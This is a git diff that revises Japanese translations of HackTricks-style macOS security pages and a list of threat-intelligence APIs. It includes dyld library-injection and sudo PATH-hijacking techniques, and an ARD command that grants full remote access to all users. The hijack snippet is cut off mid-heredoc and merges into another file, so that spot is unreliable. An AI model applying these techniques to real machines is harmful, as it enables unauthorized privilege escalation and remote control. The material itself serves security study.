-**IORegistry**は、macOSおよびiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、システムにロードされたすべてのハードウェアとドライバを表す**階層的なオブジェクトのコレクション**であり、それらの相互関係を示しています。 +**IORegistry**は、macOSおよびiOSのIOKitフレームワークの重要な部分であり、システムのハードウェア構成と状態を表すデータベースとして機能します。これは、**システムにロードされたすべてのハードウェアとドライバを表すオブジェクトの階層的コレクション**であり、それらの相互関係を示しています。 -IORegistryは、cli **`ioreg`**を使用してコンソールから検査することができ(特にiOSに便利です)。 +IORegistryは、cli **`ioreg`**を使用してコンソールから検査することができます(特にiOSに便利です)。 ```bash ioreg -l #List all ioreg -w 0 #Not cut lines @@ -89,7 +89,7 @@ IORegistryExplorerでは、「プレーン」はIORegistry内の異なるオブ 5. **IOAudio Plane**: このプレーンは、システム内のオーディオデバイスとその関係を表すためのものです。 6. ... -## ドライバ通信コードの例 +## ドライバコミュニケーションコード例 以下のコードは、IOKitサービス`"YourServiceNameHere"`に接続し、セレクタ0内の関数を呼び出します。そのために: @@ -162,11 +162,11 @@ return 0;
-そのひどい呼び出しのデマグルは意味します: +そのひどい呼び出しのデマグルは次の意味です: ```cpp IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` -前の定義では**`self`**パラメータが欠けていることに注意してください。良い定義は次のようになります: +前の定義では **`self`** パラメータが欠けていることに注意してください。良い定義は次のようになります: ```cpp IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*) ``` @@ -188,7 +188,7 @@ OSObject * target, void * reference)
-今、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータが見えます: +次に、`(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` に従って、多くのデータが表示されます:
@@ -200,7 +200,7 @@ OSObject * target, void * reference)
-ここに、**7つの要素の配列**があることがわかります(最終的なデコンパイルコードを確認してください)。7つの要素の配列を作成するためにクリックします: +ここに、**7要素の配列**があることがわかります(最終的なデコンパイルコードを確認してください)。7要素の配列を作成するためにクリックします:
@@ -209,6 +209,6 @@ OSObject * target, void * reference)
> [!TIP] -> 覚えておいてください、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前を呼び出す必要はなく、**セレクタ番号**を呼び出す必要があります。ここでは、セレクタ **0** が関数 **`initializeDecoder`**、セレクタ **1** が **`startDecoder`**、セレクタ **2** が **`initializeEncoder`** であることがわかります... +> もし覚えていれば、ユーザースペースから**エクスポートされた**関数を**呼び出す**には、関数の名前を呼び出す必要はなく、**セレクタ番号**を呼び出す必要があります。ここでは、セレクタ **0** が関数 **`initializeDecoder`**、セレクタ **1** が **`startDecoder`**、セレクタ **2** が **`initializeEncoder`** であることがわかります... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md index 21acf7e95..042d84b89 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md @@ -4,18 +4,18 @@ ## Apple独自ファイルシステム (APFS) -**Apple File System (APFS)** は、Hierarchical File System Plus (HFS+) に代わる現代的なファイルシステムです。その開発は、**パフォーマンス、セキュリティ、効率の向上**の必要性によって推進されました。 +**Apple File System (APFS)** は、Hierarchical File System Plus (HFS+) に代わるように設計された現代的なファイルシステムです。その開発は、**パフォーマンス、セキュリティ、および効率の向上**の必要性によって推進されました。 APFSの注目すべき機能には以下が含まれます: 1. **スペース共有**: APFSは、複数のボリュームが**単一の物理デバイス上の同じ基盤となる空きストレージを共有する**ことを可能にします。これにより、ボリュームは手動でのサイズ変更や再パーティション化なしに動的に増減できるため、より効率的なスペース利用が実現します。 -1. これは、ファイルディスクの従来のパーティションと比較して、**APFSでは異なるパーティション(ボリューム)がすべてのディスクスペースを共有する**ことを意味し、通常のパーティションは固定サイズでした。 +1. これは、ファイルディスクの従来のパーティションと比較して、**APFSでは異なるパーティション(ボリューム)がすべてのディスクスペースを共有する**ことを意味しますが、通常のパーティションは固定サイズでした。 2. **スナップショット**: APFSは**スナップショットの作成をサポート**しており、これは**読み取り専用**の時点でのファイルシステムのインスタンスです。スナップショットは効率的なバックアップと簡単なシステムのロールバックを可能にし、最小限の追加ストレージを消費し、迅速に作成または復元できます。 -3. **クローン**: APFSは、元のファイルが変更されるまで**同じストレージを共有するファイルまたはディレクトリのクローンを作成**できます。この機能は、ストレージスペースを重複させることなくファイルやディレクトリのコピーを作成する効率的な方法を提供します。 +3. **クローン**: APFSは、元のファイルまたはディレクトリが変更されるまで、**同じストレージを共有するファイルまたはディレクトリのクローンを作成**できます。この機能は、ストレージスペースを重複させることなくファイルやディレクトリのコピーを作成する効率的な方法を提供します。 4. **暗号化**: APFSは、**ディスク全体の暗号化**だけでなく、ファイルごとおよびディレクトリごとの暗号化もネイティブにサポートしており、さまざまな使用ケースにおけるデータセキュリティを強化します。 5. **クラッシュ保護**: APFSは、**ファイルシステムの整合性を確保するコピーオンライトメタデータスキーム**を使用しており、突然の電源喪失やシステムクラッシュの際でもデータの破損リスクを低減します。 -全体として、APFSはAppleデバイス向けに、パフォーマンス、信頼性、セキュリティの向上に重点を置いた、より現代的で柔軟かつ効率的なファイルシステムを提供します。 +全体として、APFSはAppleデバイス向けに、パフォーマンス、信頼性、およびセキュリティの向上に重点を置いた、より現代的で柔軟かつ効率的なファイルシステムを提供します。 ```bash diskutil list # Get overview of the APFS volumes ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md index 2f94e4753..6bc3bb0b5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md @@ -52,7 +52,7 @@ self.numberOfWheels += value; ``` ### **オブジェクトとメソッドの呼び出し** -クラスのインスタンスを作成するために、**`alloc`** メソッドが呼び出され、各 **プロパティ** のために **メモリが割り当てられ**、その割り当てが **ゼロ** にされます。次に **`init`** が呼び出され、**プロパティ** が **必要な値** に **初期化** されます。 +クラスのインスタンスを作成するために、**`alloc`** メソッドが呼び出され、各 **プロパティ** のために **メモリを割り当て** て、その割り当てを **ゼロ** にします。次に **`init`** が呼び出され、**プロパティ** を **必要な値** に **初期化** します。 ```objectivec // Something like this: MyVehicle *newVehicle = [[MyVehicle alloc] init]; @@ -70,7 +70,7 @@ MyVehicle *newVehicle = [MyVehicle new]; ```objectivec + (id)stringWithString:(NSString *)aString; ``` -### Setter & Getter +### セッターとゲッター プロパティを**設定**および**取得**するには、**ドット表記**を使用するか、**メソッドを呼び出す**ように行うことができます: ```objectivec @@ -84,7 +84,7 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]); ``` ### **インスタンス変数** -setterおよびgetterメソッドの代わりにインスタンス変数を使用できます。これらの変数はプロパティと同じ名前ですが、先頭に「_」が付いています。 +セッターおよびゲッターメソッドの代わりに、インスタンス変数を使用できます。これらの変数はプロパティと同じ名前ですが、先頭に「_」が付いています。 ```objectivec - (void)makeLongTruck { _numberOfWheels = +10000; @@ -257,7 +257,7 @@ return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` -関数の**パラメータとして使用されるブロックタイプを定義する**ことも可能です: +関数のパラメータとして使用するために**ブロックタイプを定義する**ことも可能です: ```objectivec // Define the block type typedef void (^callbackLogger)(void); diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index 3f2bf5454..433474b53 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -14,6 +14,6 @@ ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。 +- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index 4ecbe3cfa..0be44a87c 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -77,7 +77,7 @@ compatibility version 1.0.0 {{#endtab}} {{#endtabs}} -以前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります: +前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` @@ -133,11 +133,11 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
> [!NOTE] -> この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての良い解説は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)で見つけることができます。 +> この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての良い記事は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)にあります。 ## 大規模 -予期しないバイナリにライブラリを注入しようと計画している場合は、ライブラリがプロセス内で読み込まれるタイミングを確認するためにイベントメッセージをチェックできます(この場合、printfと`/bin/bash`の実行を削除します)。 +予期しないバイナリにライブラリを注入しようと計画している場合は、イベントメッセージを確認して、プロセス内でライブラリが読み込まれるタイミングを特定できます(この場合、printfと`/bin/bash`の実行を削除します)。 ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 209856870..70acb0bf2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -12,17 +12,17 @@ ``` Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/usr/libexec/lsd`** はデータベースの中枢です。これは、`.lsd.installation`、`.lsd.open`、`.lsd.openurl` などの **いくつかの XPC サービス** を提供します。しかし、これらの公開された XPC 機能を使用するためには、アプリケーションにいくつかの権限が必要です。例えば、mime タイプや URL スキームのデフォルトアプリを変更するための `.launchservices.changedefaulthandler` や `.launchservices.changeurlschemehandler` などです。 +**`/usr/libexec/lsd`** はデータベースの中枢です。これは **いくつかのXPCサービス** を提供します、例えば `.lsd.installation`、`.lsd.open`、`.lsd.openurl` などです。しかし、これらの公開されたXPC機能を使用するためには、アプリケーションにいくつかの権限が必要です。例えば、mimeタイプやURLスキームのデフォルトアプリを変更するための `.launchservices.changedefaulthandler` や `.launchservices.changeurlschemehandler` などです。 -**`/System/Library/CoreServices/launchservicesd`** はサービス `com.apple.coreservices.launchservicesd` を主張し、実行中のアプリケーションに関する情報を取得するためにクエリできます。これは、システムツール /**`usr/bin/lsappinfo`** または [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) を使用してクエリできます。 +**`/System/Library/CoreServices/launchservicesd`** はサービス `com.apple.coreservices.launchservicesd` を主張し、実行中のアプリケーションに関する情報を取得するためにクエリできます。これはシステムツール /**`usr/bin/lsappinfo`** または [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) を使ってクエリできます。 -## ファイル拡張子と URL スキームアプリハンドラー +## ファイル拡張子とURLスキームアプリハンドラー 次の行は、拡張子に応じてファイルを開くことができるアプリケーションを見つけるのに役立ちます: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` -または、[**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)のようなものを使用します: +Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index b8a62f0c9..20040e0c8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -11,24 +11,25 @@ > [!TIP] > 要約すると、**並行して** コードを実行するために、プロセスは **GCD にコードのブロックを送信** でき、GCD がその実行を管理します。したがって、プロセスは新しいスレッドを作成せず、**GCD が独自のスレッドプールで指定されたコードを実行します**(必要に応じて増減する可能性があります)。 -これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に削減し、並行実行を最適化します。これは、**大きな並行性**(ブルートフォース?)を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能(検索、ウェブへのアクセス、ファイルの読み取りなど)はこの方法で管理されます。 +これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に減少させ、並行実行を最適化します。これは、**大きな並行性**(ブルートフォース?)を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能(検索、ウェブへのアクセス、ファイルの読み取りなど)はこの方法で管理されます。 ### ブロック ブロックは、**自己完結型のコードセクション**(引数を持ち、値を返す関数のようなもの)であり、バウンド変数を指定することもできます。\ -ただし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています: +しかし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています: - **ブロックリテラル**: - **`isa`** フィールドで始まり、ブロックのクラスを指します: - `NSConcreteGlobalBlock`(`__DATA.__const` からのブロック) - `NSConcreteMallocBlock`(ヒープ内のブロック) - `NSConcreateStackBlock`(スタック内のブロック) -- **`flags`**(ブロックディスクリプタに存在するフィールドを示す)といくつかの予約バイト +- **`flags`**(ブロックディスクリプタに存在するフィールドを示す)といくつかの予約バイトを持ちます - 呼び出すための関数ポインタ - ブロックディスクリプタへのポインタ - インポートされた変数(ある場合) -- **ブロックディスクリプタ**:そのサイズは、前述のフラグで示されるデータに依存します -- いくつかの予約バイト + +- **ブロックディスクリプタ**: そのサイズは、前述のフラグで示されるデータに依存します +- いくつかの予約バイトを持ちます - そのサイズ - 通常、パラメータに必要なスペースを知るための Objective-C スタイルのシグネチャへのポインタを持ちます(フラグ `BLOCK_HAS_SIGNATURE`) - 変数が参照されている場合、このブロックは値を最初にコピーするためのコピー補助関数と解放するための解放補助関数へのポインタも持ちます。 @@ -65,7 +66,7 @@ ### ディスパッチオブジェクト -libdispatch が使用するオブジェクトは複数あり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` で作成可能です: +libdispatch が使用するオブジェクトはいくつかあり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` で作成できます: - `block` - `data`: データブロック @@ -141,7 +142,7 @@ return 0; - **`async await`** - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** -**Code example**: +**コード例**: ```swift import Foundation diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index 3552e420b..eacd02bc8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -24,7 +24,7 @@ macos-security-protections/macos-tcc/ 元の[Sudoハイジャック技術はLinux特権昇格の投稿内にあります](../../linux-hardening/privilege-escalation/#sudo-hijacking)。 -しかし、macOSは**`sudo`**を実行する際にユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、**被害者がsudoを実行する際に実行する他のバイナリをハイジャックする**ことです: +しかし、macOSは**`sudo`**を実行する際にユーザーの**`PATH`**を**維持**します。つまり、この攻撃を達成する別の方法は、被害者が**sudoを実行する際に**実行する**他のバイナリをハイジャックすることです: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < `Sharing` で有効/無効にできます。 -- **VNC**、別名「画面共有」 (tcp:5900) -- **SSH**、別名「リモートログイン」 (tcp:22) -- **Apple Remote Desktop** (ARD)、または「リモート管理」 (tcp:3283, tcp:5900) -- **AppleEvent**、別名「リモート Apple イベント」 (tcp:3031) +- **VNC**、別名「画面共有」(tcp:5900) +- **SSH**、別名「リモートログイン」(tcp:22) +- **Apple Remote Desktop** (ARD)、または「リモート管理」(tcp:3283、tcp:5900) +- **AppleEvent**、別名「リモート Apple イベント」(tcp:3031) -有効になっているかどうかを確認するには、次のコマンドを実行します: +有効になっているかどうかを確認するには、次のコマンドを実行します: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -32,7 +32,7 @@ Apple Remote Desktop (ARD) は、macOS 向けに特別に設計された [Virtua ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` -ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は、複数のマシンにわたる機密ファイルのリモートでの低影響検索を容易にする注目すべき機能です。 +ARDは、観察、共有制御、完全制御を含む多様な制御レベルを提供し、ユーザーパスワードの変更後もセッションが持続します。これにより、Unixコマンドを直接送信し、管理者ユーザーとしてrootで実行することができます。タスクスケジューリングやリモートSpotlight検索は、複数のマシンにわたる機密ファイルのリモートで低影響の検索を容易にする注目すべき機能です。 ## Bonjourプロトコル @@ -44,13 +44,13 @@ Bonjourが提供するゼロコンフィギュレーションネットワーキ - **DNSサーバーを必要とせずに名前からアドレスへの変換を行う**。 - **ネットワーク上の利用可能なサービスを発見する**。 -Bonjourを使用するデバイスは、**169.254/16範囲のIPアドレスを自分に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。 +Bonjourを使用するデバイスは、**169.254/16範囲のIPアドレスを自分自身に割り当て**、ネットワーク上での一意性を確認します。Macはこのサブネットのルーティングテーブルエントリを維持し、`netstat -rn | grep 169`で確認できます。 DNSに関して、Bonjourは**マルチキャストDNS(mDNS)プロトコル**を利用します。mDNSは**ポート5353/UDP**で動作し、**標準DNSクエリ**を使用しますが、**マルチキャストアドレス224.0.0.251**をターゲットにします。このアプローチにより、ネットワーク上のすべてのリスニングデバイスがクエリを受信し応答できるようになり、レコードの更新が促進されます。 -ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自己選択し、これはホスト名から派生するか、ランダムに生成されることがあります。 +ネットワークに参加すると、各デバイスは通常**.local**で終わる名前を自動的に選択し、これはホスト名から派生するか、ランダムに生成されることがあります。 -ネットワーク内のサービス発見は、**DNSサービスディスカバリー(DNS-SD)**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを求めるクライアントは`.`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`..`形式のPTRレコードのリストを受け取ります。 +ネットワーク内のサービス発見は、**DNSサービスディスカバリー(DNS-SD)**によって促進されます。DNS SRVレコードの形式を利用し、DNS-SDは**DNS PTRレコード**を使用して複数のサービスのリストを可能にします。特定のサービスを探しているクライアントは、`.`のPTRレコードを要求し、サービスが複数のホストから利用可能な場合、`..`としてフォーマットされたPTRレコードのリストを受け取ります。 `dns-sd`ユーティリティは、**ネットワークサービスの発見と広告**に使用できます。以下はその使用例です: @@ -74,11 +74,11 @@ dns-sd -R "Index" _http._tcp . 80 path=/index.html ```bash dns-sd -B _http._tcp ``` -サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに利用可能であることを通知します。これらのサービスに興味のあるデバイスはリクエストを送信する必要はなく、単にこれらの通知を聞くだけです。 +サービスが開始されると、その存在をマルチキャストしてサブネット上のすべてのデバイスに可用性を通知します。これらのサービスに興味のあるデバイスはリクエストを送信する必要はなく、単にこれらの通知を聞くだけです。 -よりユーザーフレンドリーなインターフェースのために、Apple App Storeで入手可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されているサービスを視覚化できます。 +よりユーザーフレンドリーなインターフェースのために、Apple App Storeで入手可能な**Discovery - DNS-SD Browser**アプリは、ローカルネットワーク上で提供されるサービスを視覚化できます。 -また、カスタムスクリプトを作成して`python-zeroconf`ライブラリを使用してサービスをブラウズおよび発見することもできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービスのためのサービスブラウザを作成し、追加または削除されたサービスを印刷することを示しています。 +また、`python-zeroconf`ライブラリを使用してサービスをブラウズし発見するためのカスタムスクリプトを書くこともできます。[**python-zeroconf**](https://github.com/jstasiak/python-zeroconf)スクリプトは、`_http._tcp.local.`サービスのためのサービスブラウザを作成し、追加または削除されたサービスを印刷することを示しています。 ```python from zeroconf import ServiceBrowser, Zeroconf @@ -101,7 +101,7 @@ zeroconf.close() ``` ### Bonjourの無効化 -セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます: +セキュリティに関する懸念やその他の理由でBonjourを無効にする必要がある場合、次のコマンドを使用してオフにできます: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index f6bd5c59d..c14b0de21 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -20,10 +20,10 @@ for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ## ユーザープリビレッジ -- **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーから権限を付与される必要があります。自分自身ではそれを行うことができません。 -- **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなどのrootアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してrootにアクセスが与えられます**。 +- **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーからの権限が必要です。自分自身では実行できません。 +- **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなど、rootアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してrootにアクセスが与えられます**。 - **Root**: Rootはほぼすべてのアクションを実行することが許可されているユーザーです(System Integrity Protectionのような保護によって制限があります)。 -- 例えば、rootは`/System`内にファイルを置くことができません。 +- 例えば、rootは`/System`内にファイルを置くことはできません。 ## 外部アカウント diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index b855ba00e..c9e25e595 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -5,7 +5,10 @@ ### MacOS 自動列挙ツール - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) -- **Metasploit**: [ +- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) +- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) + +### 特定の MacOS コマンド ```bash #System info date @@ -114,7 +117,7 @@ sudo killall -HUP mDNSResponder ``` ### インストールされたソフトウェアとサービス -インストールされたリソースに対する**疑わしい**アプリケーションと**権限**を確認します: +インストールされた**疑わしい**アプリケーションとインストールされたリソースに対する**権限**を確認します: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework diff --git a/src/online-platforms-with-api.md b/src/online-platforms-with-api.md index 51e09bc72..1f4387241 100644 --- a/src/online-platforms-with-api.md +++ b/src/online-platforms-with-api.md @@ -2,121 +2,120 @@ # [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +IPが疑わしい/悪意のある活動に関連しているかどうかを尋ねることができます。完全に無料です。 # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +IPアドレスがアカウントを登録するボットに関連しているかどうかを確認します。ユーザー名やメールアドレスも確認できます。最初は無料です。 # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +メールを見つけて確認します。 +一部のAPIリクエストは無料ですが、より多くは支払いが必要です。 +商業用? # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +IPやドメインに関連する悪意のある活動を見つけます。無料です。 # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +メールに関連する個人データ(他のプラットフォームのプロフィール)、ドメイン(基本的な会社情報、メール、従業員)、および会社(メールから会社情報を取得)を見つけます。 +すべての可能性にアクセスするには支払いが必要です。 +商業用? # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +ウェブサイトで使用されている技術。高価です... +商業用? # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +ホスト(ドメインまたはIP)が疑わしい/悪意のある活動に関連しているかどうかを確認します。いくつかの無料APIアクセスがあります。 +商業用? # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +ホスト(ドメインまたはIP)が疑わしい/悪意のある活動に関連しているかどうかを確認します。いくつかの無料APIアクセスがあります。 # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +ホストがスパム活動に関連しているかどうかを示します。いくつかの無料APIアクセスがあります。 # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +意見や他の指標に基づいて、ドメインが疑わしい/悪意のある情報に関連しているかどうかを取得します。 # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +IPアドレスから基本情報を取得します。月に最大100Kまでテストできます。 # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +このプラットフォームは、IP内のドメインやドメインサーバー内のドメイン、メールに関連するドメイン(関連するドメインを見つける)、ドメインのIP履歴(CloudFlareの背後にあるホストを見つける)、すべてのドメインが使用しているネームサーバーなどの情報を提供します。 +いくつかの無料アクセスがあります。 # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +メール、ドメイン、または会社名で検索し、関連する「個人」情報を取得します。メールの確認もできます。いくつかの無料アクセスがあります。 # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +ドメインやIPに関する多くの情報が、無料/コミュニティ版でも得られます。 # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +ドメイン、IP、メールを検索し、ダンプから情報を取得します。いくつかの無料アクセスがあります。 # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +IPで検索し、疑わしい活動に関連する情報を収集します。いくつかの無料アクセスがあります。 # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +IPまたはIP範囲で検索し、インターネットをスキャンしているIPに関する情報を取得します。15日間の無料アクセスがあります。 # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +IPアドレスのスキャン情報を取得します。いくつかの無料APIアクセスがあります。 # [Censys](https://censys.io/) -Very similar to shodan +Shodanに非常に似ています。 # 